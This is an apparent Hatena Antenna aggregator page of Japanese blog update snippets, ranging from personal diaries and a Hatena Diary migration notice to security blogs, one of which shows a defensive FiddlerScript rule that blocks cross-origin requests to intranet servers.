  35. 2023/08/20 04:15:54 最近一週間ほどのえび日記@水無月ばけらのえび日記含むアンテナおとなりページ

    「字幕職人の朝は早い……」へのコメント (1件)

  36. 2023/06/21 20:26:12 Nothing ventured, nothing gained.含むアンテナおとなりページ

    グリーンコーディング
    IT技術 (56)
    2023 / 6

  37. 2023/05/07 06:15:37 ∈(・ω・)∋◎ orz含むアンテナおとなりページ

    メモは未来の自分に出すヒントはてなブログでは毎週「今週のお題」を出題しています。今回は、2023年4月7日から2023年4月14日にかけて募集した、今週のお題「メモ」に寄せられたエントリーから、週刊はてなブログ編集部がおすすめしたい記事をピックアップして紹介します。メモを取る習慣ってありますか? 私は取ったり取らなかったりだったんですが、最近はできるだけ取りたいと思っています。原稿やブログがスムーズに書けるときって、しっかりメモを取れているときだったりするからです。過去の自分から、考えるヒントを…
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    【第12回】はてなブログお知らせレター:京都の銭湯「サウナの梅湯」に、はてなブログの広告が掲載されています!

  38. 2023/02/16 18:55:46 はてなダイアリー - インフラ管理者の独り言(花ずきん戻りました)含むアンテナおとなりページ

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  40. 2023/02/13 21:21:49 xcorp::When it rains, it pours.含むアンテナおとなりページ

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  41. 2022/12/16 17:55:42 【アダルトサイト被害対策の部屋】含むアンテナおとなりページ

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  42. 2022/01/19 16:00:14 お笑いパソコン日誌含むアンテナおとなりページ

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    Take You To The Pilot
    Text by Terry Minamino
    Music by IKO-IKO
    不動産情報
    2007/12/9 PM 1:05
    @ 今日の今年の回顧・2007年はチョー豊饒
    まだ三週間残ってるつーのに、早漏気味の回顧である。若いときはチロー気味で顰蹙をかったこともあるくらいだが、年々ソーロー傾向が高まりつつある。これも老化現象の一つであろうか。なんの話だモゴモゴ。
    さて諸君。今年はここ十年間でも、いや、ひょっとすると歴史上もっとも良い一年であったかもしれない。素晴らしいことにショートパンツが若い女性の間で流行ったんである。それも、ケチくさく詐欺まがいのキュロットもどきのショートパンツではなく、写真のようにきっぱりと潔いどうだこのヤロー的ショートパンツ、古いいい方だとホットパンツ、が流行ったのである。すんばらしいではないか。街にはショートパンツ姿の女のがわしわしいたし、テレビでもがんがんタレントが見せてくれた。ちなみに上の写真は私の脚フェチ&ホットパンツ好き&ピンヒール好みを察知したキャバクラ嬢が、そんなに好きならと同伴の時に着てくれた時のものである。いやはや眼福頓服ぷっぷくぷう、カミサマありがとー。ま、ちょっと高くついたけどな。うはは。
    Permalink | BBS
    不動産情報
    2007/11/26 PM 9:49
    @ 今日のヨタ・ソフトバンクの広告に隠された暗喩を読む
    ソフトバンクモバイルのテレビコマーシャルには二つの路線がある。スターがケータイで話しながら歩くだけの古典的なイメージアップ戦略ものと、謎の家族が謎の生活をしているという(まあこっちも新奇とはいいがたいのだけど)ものの二つだ。それについて、私はある発見をしたのでここに記しておく。なお、これは半年ぐらい抱えてるネタなので、すでにどなたかが同じ話を書かれている可能性も高いが、もしもカブってたらゴメンね。あと、あくまでネタなんで、そこんところもよろしく。
    先日、スターが歩く路線の方に、キティちゃんが登場した。それを見た私は、次はミッキーマウスが出てくると思った。理由は二つある。一つは、ディズニーがソフトバンクから回線を借りて日本のケータイ業界に進出してくるというニュースがあったからだ。ただよく考えるまでもなく、その場合ディズニーは自分でミッキーを使いたいだろうから、この読みは浅すぎた。実際、登場したのはディズニーキャラではなくスヌーピーだったわけだ。
    さて、もう一つの理由が本題である。私はミッキーだと考えたのと同時に、男のアニメキャラが使われると考えた。まあこっちは誰にでも予想がついただろう。ただし、絶対日本のアニメからは使われないと考えた方はいるだろうか? それが予想できたのは、もう一つの路線の方にヒントがあったからだ。
    考えても見て欲しい。変な家族篇に登場する男は、犬と黒人とイルカである。一方、女はすべて日本人なのだ(実は違うというオチはナシという方向で)。やや微妙な話になってきたので書き方には注意が必要であろうが、そういうことなんである。だからアメリカ製の男のキャラクタが使われたのである。間違いない(死語)。
    ところでこれはいったいなんの暗喩であるのか。あえてオチまでは書かないことにしよう。各自自分で考えてくだされ。ただ、下手するとソフトバンク側は誰もこの事実に気がついてないという恐れもある。その場合は代理店とかディレクターとか、そこらあたりに悪意を持った犯人がいることになるが。みゅう。
    Permalink | BBS
    以前の記事へ

  43. 2022/01/01 05:39:30 はてなダイアリー - tessyの日記含むアンテナおとなりページ

    2021-12-31
    2021/5/4 エベレスティング

  44. 2021/07/13 08:39:52 はてなダイアリー - ハニーポッターの部屋含むアンテナおとなりページ

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    http:

  45. 2021/07/12 20:59:20 はてなダイアリー - NyaRuRuの日記含むアンテナおとなりページ

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  46. 2021/07/04 06:38:11 けんのほやほや含むアンテナおとなりページ

    2006|01|03|

  47. 2021/04/30 11:11:40 だめだめ日記含むアンテナおとなりページ

    2015|09|10|11|
    2016|01|04|

  48. 2021/04/06 18:20:00 サポート含むアンテナおとなりページ

    2021/04/05 島根県松江市における大規模火災にかかる災害救助法の適用について

  49. 2020/09/18 06:37:12 はてなダイアリー - 岡口裁判官のblog含むアンテナおとなりページ

    はてなブログ アカデミー
    法人プラン

  50. 2020/08/27 12:01:02 Matzにっき含むアンテナおとなりページ

    意外かもしれないが、初デスクトップ。今回はサイコムというところで注文した。自作という選択肢もあったが、自分の不器用さをよく承知しているので(最近では液漏れで止まった時計を修理しようと分解して、再起不能にした)、BTOに。スペックは、
    それに比較対象がThinkPad T460s (Core i7 6600U) 2 core 4 threadだからねえ
    追記
    サイコムから返事来た。送料着払いでボード2枚を返却したら、ボードぶんの代金を返金するとのこと。やさしい。

  51. 2020/07/11 20:36:56 にわか鯖管の苦悩日記 _| ̄|●含むアンテナおとなりページ

    高田馬場
    杉並区
    瑞穂町
    目白
    飯田橋
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    中野区
    豊島区
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  52. 2020/06/13 08:25:17 ギークなお姉さんは好きですか 含むアンテナおとなりページ


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  53. 2020/04/16 06:19:27 Hiroyasu Kitagawa’s Blog含むアンテナおとなりページ

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  54. 2020/01/22 00:28:05 ともちゃ日記 -大学などでのアレゲな私生活?!-含むアンテナおとなりページ

    2019年06月27日(木) [晴れ]
    * [Neta][Car][Drive] G20 大阪サミットの真っ最中、大阪市内を徘徊してみる
    ちょっと一発屋さんにいくかとおもい、G20の真っ最中車で徘徊してみました。
    結露からいうと、大阪市内に入ってからのインターの一部の閉鎖はあるものの、車の量も少なく非常に快適でした。
    カメラを搭載して、走行すればよかったなーと思いながら、見苦しい写真で紹介していきます!
    まずは、普段から徘徊しなれている大阪、福島あたりをまずはターゲット、その後、ラーメンを食べて、また、大阪・福島あたりの徘徊をしてみるという流れ。
    大阪駅に高速道路で向かいます。一部閉鎖がわかりますね。
    北新地から大阪駅あたりの交差点。
    バスやタクシーは目立ちますが、運送トラックや、一般車はほとんど見かけません。
    普段は徘徊している人も多いですが、今回は少ないようです。
    あえて、大阪地方検察庁/大阪区検察庁の前の交差点です。田簑橋ですね。
    あえて、警備状態を確認してみました。撮影用ライトや懐中電灯を持ち歩いていても職質は受けることはありませんでした。
    ああ、あたしはなんて一般人に見られているのでしょう。一般人ですが。
    話を聞いてみると、朝の6時頃には規制をかけますよ〜ってことで、周辺のコインパーキングなども影響は無いですよと。
    ちなみに規制エリアの境界線上でした。
    わりとのほほんとした感じで、たっている感じの警備でした。
    そして、一発屋さんへラーメンをたべにいってきました。
    途中、リッツカールトンの前を通りましたが、まだ、警備は厳重ではありません。
    どっかの国の大統領が止まっているとかでしたっけ。まだ到着していないからですかね。
    さてさて、いつものごとく無事到着して、オーダーしたのは、いつもの2.5丁目です。うま〜!
    食後は、福島在住の知人を福島に捨てるため、高槻から大阪市内方面に。
    走行中、1号線のバイパスで、かなりの覆面、パトカーが路側帯や待避場所に待機しており、警備と速度違反車両を取り締まっていました。
    あーくわばらくわばら。流れ的には、100km/hぐらいの感覚でしょうか。
    警察車両がいてるので、私は、法定速度を守っています。また、動画をアップする前提で、法定速度もちゃんと守っていましたよ。
    とはいえ、動画をピックアップを忘れたので、映像や写真はありませんが(汗)。
    さて、朝が明けてきました。警察官は夜と朝がいれかわっていて、違う人でした。
    さて、高速道路にでも乗りましょうか。
    インター乗り場には、警官がしっかりと構えています。パトカーもいます。
    G20 サミット大規模規制実施と電光掲示板にでていますね。
    記念のオービス。
    巡回中の警備車両。
    ということで、柏原インター下車。
    こんな感じで、かなりガラガラでした。
    庁快適なんですが、オービスに引っかかりそうな速度で走るにしても、おまわりさんがいっぱい。特に、奈良方面から、市内方面への白バイ、パトカーなどが、2台一組で走行している状態でした。
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  55. 2020/01/08 05:34:17 はてなダイアリー - B-) の独り言含むアンテナおとなりページ

    お探しのページは見つかりませんでした。

  56. 2019/07/26 17:08:57 はてなダイアリー - はてなダイアリー日記含むアンテナおとなりページ

    2019-07-26
    はてなダイアリーからはてなブログへの自動移行が完了し、はてなダイアリーでの記事の公開が終了しました
    本日、2019年7月26日、はてなダイアリーからはてなブログへのデータの自動移行及び、移行先のブログへのリダイレクトなど移行に関する工程が完了いたしました。
    これまではてなダイアリーをご利用いただき誠にありがとうございました。
    つきましては、ご自身のダイアリーからデータの移行が正常に行われているか、はてなブログへのリダイレクトが行われるかなどご確認ください。もし、ご不明な点などございましたら、2019年9月1日までに下記のお問い合わせ窓口までご連絡ください。
    https://www.hatena.ne.jp/faq/q/diary
    なお、すべての記事を削除しているダイアリー、一部のはてなダイアリーについては引き続きはてなダイアリーが表示されておりますが、今後徐々に閲覧できなくなる予定です。
    どうぞよろしくお願いいたします。
    移行に関する注意事項
    はてなブックマークについては、徐々に移行が行われていきます
    移行完了までに数ヶ月かかる可能性もございますが、何卒ご了承ください
    本日記にて告知いたしました通り、自動移行によらずはてなブログへの移行を行っていたブログについても、リダイレクト処理を行っています
    リダイレクトを希望されない場合は、お問い合わせ窓口までご連絡ください
    よくある質問
    はてなダイアリーでは、メインアカウントでログイン中に非公開のサブアカウントのダイアリーが閲覧できるなど、サブアカウントに関する機能を提供していましたが、はてなブログでは提供していません。ブログごとに閲覧権限の設定をお願いします
    hatenadiary 2019-07-26 15:30
    はてなダイアリーからはてなブログへの自動移行が完了し、はてなダイアリーでの記事の公開が終了しました
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    はてなダイアリーからはてなブログへの自動移行が完了し、はてなダイアリーでの記事の公開が終了しました

  57. 2019/01/29 08:34:23 はてなダイアリー - はせがわの日記含むアンテナおとなりページ

    コメント
    2017-12-06
    ■ [Joke] ローカルネットワークに対するクロスオリジンの攻撃からシステムを守る簡単な方法
    インターネット上に公開されているわなサイトを経由して社内イントラネットなどのローカルネットワークへXSSやCSRFなどのクロスオリジンでの攻撃を仕掛けようという試みは古くから存在します。現実にこれらが行われたという話は聞いたことはありませんが、理論上は可能であるという話をよく聞きます。対策としてまず検討すべきは、社内システムであっても通常のシステム同様に脆弱性を生まないようセキュアなものにするということです。それらが難しい場合には、少しの手間でローカルネットワークに対するクロスオリジンでの攻撃を低減させることができます。
    フィドラでクロスオリジンからの攻撃を低減させる手順
    Fiddler を起動し「Rules」メニューから「Customize Rules...」をクリックします。エディターが立ち上がってルール用のFiddlerScriptの編集画面が出てきますので、以下を追記します。
    function isLocalServer(host:String):Boolean {
    // TODO: 環境に合わせてここを修正して下さい
    const localServers = ["server-name-1", "server-name-2"];
    var re = /^([¥d]{1,3})¥.([¥d]{1,3})¥.([¥d]{1,3})¥.([¥d]{1,3})$/;
    var m = re.exec(host);
    var i;
    // プライベートIPアドレスのホストはローカルのサーバーとみなす
    if (m !== null) {
    m[1] = m[1]|0;
    m[2] = m[2]|0;
    m[3] = m[3]|0;
    m[4] = m[4]|0;
    if (m[1] > 255 || m[2] > 255 || m[3] > 255 || m[4] > 255) return false;
    if (m[1] === 10) return true;
    if (m[1] === 172 && (m[2] >= 16 && m[2] <= 31)) return true;
    if (m[1] === 192 && m[2] === 168) return true;
    }
    // ローカルサーバーの一覧に存在するかチェック
    for (i = 0; i < localServers.length; i++) {
    if (host.Equals(localServers[i]) ){
    return true;
    }
    }
    return false;
    }
    class Handlers
    {
    // 省略
    static function OnBeforeRequest(oSession: Session) {
    // 省略
    // ターゲットがローカルサーバー
    if (isLocalServer(oSession.hostname)) {
    var from = oSession.oRequest.headers["origin"];
    if (from !== "") {
    from = from.replace(/^https?:¥/¥//,"");
    } else {
    var m = /¥/¥/([^¥/]+)¥//.exec(oSession.oRequest.headers["Referer"]);
    if (m !== null) {
    from = m[1].replace( /^[^@]+@/,"");
    }
    }
    // 呼び出し元がローカルサーバーではない
    if (!isLocalServer(from)) {
    FiddlerApplication.Log.LogFormat("Blocked {0} from {1}", oSession.fullUrl, from);
    oSession.utilCreateResponseAndBypassServer();
    oSession.oResponse.headers.Add("Content-Type", "text/plain");
    oSession.oResponse.headers.HTTPResponseCode = 404 ;
    oSession.oResponse.headers.HTTPResponseStatus = "404 Not Found";
    }
    }
    }
    }
    たったこれだけで、外部のわなサイトを経由したクロスオリジンの攻撃からローカルシステムをある程度守れます。
    まとめ
    やっていることは、通常は社外の公開サーバーをRefererやOriginとして社内に対してリクエストが発行されることはないので、それを検知した場合に404応答を返しているだけです。ただし、もちろんのことながら、ReferrerやOriginがつかない状況も頻繁に発生するので、そういった場合にはこの方法では攻撃を防ぐことはできません。繰り返しになりますが、社内システムであっても社外のシステム同様にきちんと脆弱性への根本的な対策を行っておくべきでしょう。
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    2017-11-06
    ■[SECURITY][Event] サイボウズ バグハンター合宿に行ってきた
    先週の11月3日-4日に開催されたサイボウズ バグハンター合宿に参加してきた。
    サイボウズ バグハンター合宿 - connpass
    3年前は個人戦だったけれど今回はチーム戦ということに加え、クソつまらない脆弱性を多数報告した場合は評価が下がる採点方式だったので、最初はチームの足を引っ張らないようホームラン級のバグを探そうとしたけれど、最近すっかり技術的なことをやっていないのでなかなかそういうバグも見つけることができず、ゼロよりマシだろうということで結局わりとくだらないバグをいくつか報告した次第。とはいえ、他の人はあまりやらないだろうなという「クロスオリジンでの情報漏えい」みたいな自分としては好きなタイプのバグをひとつ見つけて報告することができたので、その点は満足。結果的にチーム順位は最下位、個人順位ではかろうじて10位に入るという感じでした(下から数えた方が早い)。Masato Kinugawaさん強すぎ。
    いろんな攻撃手法に関して、以前なら自分の技として適切な場面でそれを取り出して使えることが多かったけれど、だんだんと手を動かす時間が減るにつれ他の人の攻撃例を見て「ああ、そうか。そこでその攻撃手法が使えたんだ!」みたいな感覚になっていってたんだけど、さらに今回は「なにそれ。そんな攻撃方法あったのか」みたいに全く知らない技がいくつもあったりして、すっかり時代においていかれた感を味わってきた。
    実際にサイトを検証するのは、CTFと違って「問題のための問題」みたいなのではなく、実際に生きて動いてるWebサイトなのでどれだけ不合理で不自然なかたちであっても脆弱性が存在すればそれは現実のものなわけだし、あるいは特定の挙動についてあるサービスではサービスの提供方針として脆弱性として認定されるものが他のサービスでは脆弱性とは認定されないというような運用指針に寄るものがあったり、そういう点でリアルな世界なので学びも大きいし超楽しかった。
    次回が開催されるのかはわからないけれど、もし開催されるのであれば次は事前にちゃんと予習復習をして、もうちょっと人権をちゃんと確保したい。
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    2017-04-24
    ■ [SECURITY] podcast 第1回 セキュリティの『アレ』
    @ntsujiさん、@MasafumiNegishiさん、mtakeshiさんのポッドキャスト「セキュリティの『アレ』」の収録にお邪魔してきました!
    第1回 動画のアレからポッドキャストのアレに帰ってきたよ!スペシャル « podcast - セキュリティの『アレ』
    http://tsujileaks.com/media/are_170423.mp3
    人に聞かせるために話すっていうよりは、辻さん根岸さんに解説してもらいながら3人との会話を自分自身が楽しむみたいな感じでした。ゆるゆるグデグデな感じですけどよろしくお願いします!
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    2016-12-16
    ■[SECURITY] 安全な脆弱性の作り方
    この記事は 「脆弱性"&’<<>¥ Advent Calendar 2016」16日目の記事です。具体的な脆弱性の話でなくてすみません。いろいろコードを書いていると、安全に脆弱性を発生させたくなるときがあります。って書くとさっぱり意味がわからないと思いますが、セキュリティの講義のための演習環境とかそういうやつです。
    受講生自身の手でWebアプリケーションの脆弱性を探してもらうような演習では、検査対象となる脆弱性を含むWebアプリケーションを用意する必要があります。こういった「脆弱なWebアプリケーション」は例えば Broken Web Applications Project のようなものを代表にいく

  58. 2019/01/16 18:34:56 駄文にゅうす含むアンテナおとなりページ

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  59. 2018/08/16 09:15:14 ”週”記含むアンテナおとなりページ

    2010-02-02

  60. 2018/07/02 18:41:24 UnderForge of Lack 含むアンテナおとなりページ

    atword.jp
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  61. 2016/08/31 02:49:20 Japan Snort Users Group含むアンテナおとなりページ

    ナビゲーションを切り替え
    投稿日: 5月 17, 2016 投稿者: admin
    カテゴリー: Money
    投稿日: 5月 1, 20165月 17, 2016 投稿者: admin
    カテゴリー: Money
    投稿日: 4月 24, 20165月 24, 2016 投稿者: admin
    カテゴリー: Uncategorized

  62. 2016/02/15 23:19:32 切込隊長BLOG(ブログ)含むアンテナおとなりページ

    2016.02.15
    当サイト「やまもといちろうブログ」は、LINEブログにお引越しをしました
    すでにご案内のとおり、ここニフティ「ココログ」で長らく運営しておりました「やまもといちろうブログ」は、知らない間にスマホ向けブログページに無断で広告が貼られていて私には広告収入の分配がなかったという理由でLINEブログに移籍することになりました。
    やまもといちろうブログ(LINEブログ)
    http://lineblog.me/yamamotoichiro/
    もっとも、いままで無料で長く続けさせていただいていたということや、ココログ立ち上げの経緯も考えますと、感情的には断腸の思いもあるわけですけれども、そこは是々非々での判断ということで…。スタッフの皆様にも長らくお世話になりましたので、改めて、ここで深く御礼申し上げたいと存じます。
    » Continue reading
    2016.02.15 | Permalink
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    «今日は『こころに効く本読みガイド』&フジテレビ系『真夜中のニャーゴ』
    当サイト「やまもといちろうブログ」は、LINEブログにお引越しをしました

  63. 2014/05/23 04:45:05 【ぐるなびお店のブログ】 牡蠣ソムリエ含むアンテナおとなりページ

    このブログへのアクセスは現在停止しています。
    ぐるなびHOME | お店のブログ

  64. 2013/07/31 01:15:54 Snort.org含むアンテナおとなりページ

    Android Extra Field Vulnerability Spotted in the Wild
    It has been 20 days since the Extra Field vulnerability (also known as Chinese Master Keys) ...
    Posted by dgoddard on Jul 30, 2013

  65. 2012/10/18 10:38:07 れですも色々 - ぱしょこん好きになった… 含むアンテナおとなりページ

    ladysmokerの日記 [全5905件]
    2012.10.18
    未だ蔓延る放射脳
    [ セキュリティ雑記 ]
    人にはそれぞれの動かしがたい価値観や基準などがあり、だからこそお互いの差異を知った上での距離感や信頼感がないまぜになった上での人付き合いになる。
    ある人には許容出来るものが別の人には容認しがたいというのはこれで、全部頭の上に書いてあるわけではない上に新しい事態に直面して初めて判断するということもある。
    この判断は無論正しかったり間違っていたりするわけで、その繰り返しでほんの僅かずつ経験値にもなるんだが経験値といってもそれが正負両方なのも当然ある。
    最初に書いた「動かしがたい」も実はその瞬間瞬間、時には相手にもよるし事態にもよるのというのが良くも悪くも人間らしいということかもしれない。
    しかし例えば科学技術とか軍事という分野は「怖い怖いいやいや」で済むかというと「好ましくはないが容認せざるを得ない」脳内の感情を自分で宥める事も時には必要になる。
    自分にとって好ましいものだけで社会は成立運用されていず国家となると尚更で、1億3千万弱がこの水準の生活を維持するには多大な「個人的には好ましくないもの」も存在する。
    昨日Twitterでひとしきり騒ぎがあった。
    【驚異の】「放射能はウイルスやアレルゲンに変異する(キリッ」【新説】
    一見おちゃらけたような題名だが、こうでも書かないとこの1年半営々と放射脳を説得しまた傍から見るものにも充分納得できるだけの意見を発信し続けたにも関わらず未だこういう認識なのかという無念や脱力感のみに押し流されてしまうのは私にはよく判る。
    やってきた者だけがこの題名を付けられるというのなら纏めた方も当然こうした題名をつけていいと思ってもいる。
    この騒ぎの大元といっていい放射脳と言われる脳内アレルギーは発災から1年半を過ぎこれだけ情報が数字としてまた何よりもその地にいる方々が自ら証を立てていることから目を背け続けている。
    どんなデマを飛ばしても自分達の気分がそれで休まるのならいいという極めて病的な衝動と理由だけでこの1年半彼らはやってきたわけだが、それらが時間が立ちまた数字や経緯経過によってデマの根拠さえも覆され始めるとこの纏めの最初の発言者のようにどこから突っ込んでいいか判らないほどの錯乱を示す。
    もうひとつ言うのなら「勝手に移り住んで勝手に脳内アレルギーになる」自体は勝手だがまとめコメントにもあるようにそれを正当化しようとするとこのような事態に陥る。
    日本ではどこに住もうとそれは自由で移った以上はその先で楽しく生活すりゃいいものを勝手に移住したのまで人のせい何かのせい、果ては金寄越せは通らない。
    また私もじかに病院で見たが癌患者へのインチキ健康食品、なんちゃらキノコの押し売りと同じで、元々ある程度信用のあったもの(EM菌)を勝手に放射能に効く的なデマを飛ばして高価に売りつけるなどの被害も発生している。
    もう一度言うがゼロベクレルはこの宇宙にも地球上にも存在しない。
    目指すのは無駄だ。
    この当たり前の事実くらいはせめて理解しろと思うけれどね。
    mixiチェック
    最終更新日 2012.10.18 09:03:51
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  66. 2012/05/11 17:40:17 はてなダイアリー - くらさば含むアンテナおとなりページ

    ■[資][Ubuntu] 日本語ディレクトリ名を英語名に変換
    ■[資][Ubuntu] 標準ディレクトリの設定

  67. 2011/12/20 07:22:04 jp.chkrootkit.org含むアンテナおとなりページ

    Copyright © 1995 - 2010 Pangeia Informática LTDA. Todos os direitos reservados.

  68. 2011/12/02 08:31:59 yoggy’s diary〜せかいのすみっこから〜含むアンテナおとなりページ

    Powered by Ruby version 1.8.7-p352

  69. 2011/05/12 08:32:14 結城浩の日記含むアンテナおとなりページ

    2011年5月12日
    ■ 「優しく, 美しく, 気高い数学書」 2011年5月12日 08:13
    数学書房さんから出版される『この数学書がおもしろい 増補新版』という書籍に文章を書きましたのでアナウンスします。
    この本は「約50名の執筆者が数学書について自由に書く」というもので、 数学に興味を持っている方なら、どなたにも参考になると思います。 編集部によれば、出版は近日中ということですが、正確な日付はまだわからないそうです。
    各執筆者は一人およそ4ページずつ書きます。 結城は「優しく, 美しく, 気高い数学書」というタイトルで書きました(このタイトル…なにこれすごい)。
    以上、簡単ですがご紹介でした。よろしくお願いします。
    『この数学書がおもしろい 増補新版』
    数学書房編集部編
    ISBN 978-4-903342-64-1
    数学書房(5/12現在、まだ本書の情報はないようです)
    feedback | top

  70. 2011/03/14 15:48:14 hoshikuzu | star_dust の書斎含むアンテナおとなりページ

    <前の日
    ツイートする

  71. 2010/12/30 11:02:30 適宜覚書はてな異本含むアンテナおとなりページ

    旧Blog(ここ)について

  72. 2010/12/05 03:22:03 悪態のプログラマ含むアンテナおとなりページ

    質問の答えを書く

  73. 2009/05/20 21:49:02 d.7lo.jp含むアンテナおとなりページ

    諸所の事情で
    http://blog.moooi.jp/
    こちらにて更新を再開しています。
    [ツッコミを入れる]
    2009-05

  74. 2009/01/13 18:19:56 grinの勝手気ままに戯言メモ含むアンテナおとなりページ

    2009年1月13日
    Xplico
    だそうです。
    トラフィックから色々なものを抽出して、アーカイブできるようですね。
    閲覧したWebサイトやFTPアクセス、メールなどなど。
    IRCやMSNなどのチャットプロトコルにも対応予定のようです。
    今後に期待といった感じですかね。
    公式サイト
    2009年1月 (2)

  75. 2008/07/29 20:10:36 IT Pro Watcher含むアンテナおとなりページ

    鵜飼氏は,WinnyやMicrosoft製品,組込み機器などのセキュリティ・ホールを多数発見していることで知られるセキュリティの専門家。2003年から2007年7月まで米国に在住し,米eEye Digital SecurityのSenior Software Engineerを務める。2007年7月に帰国しフォティーンフォティ技術研究所を設立,取締役副社長最高技術責任者に就任。米国から執筆していたITpro Watcher「Security from USA」は,帰国にともない「Security from KAGURAZAKA」に改題した。
    過去記事
    >> 一覧

  76. 2006/02/08 09:45:09 SecuLog含むアンテナおとなりページ

    ethereal 日本語化 (325)
    総務省地方公共団体コード一覧表
    総務省: 地方公共団体における情報セキュリティポリシー(情報セキュリティ対策に関する基本方針)等の策定状況
    Yahoo! - 06/02/08 09:43:35
    ethereal 日本語化
    Google - 06/02/08 09:43:22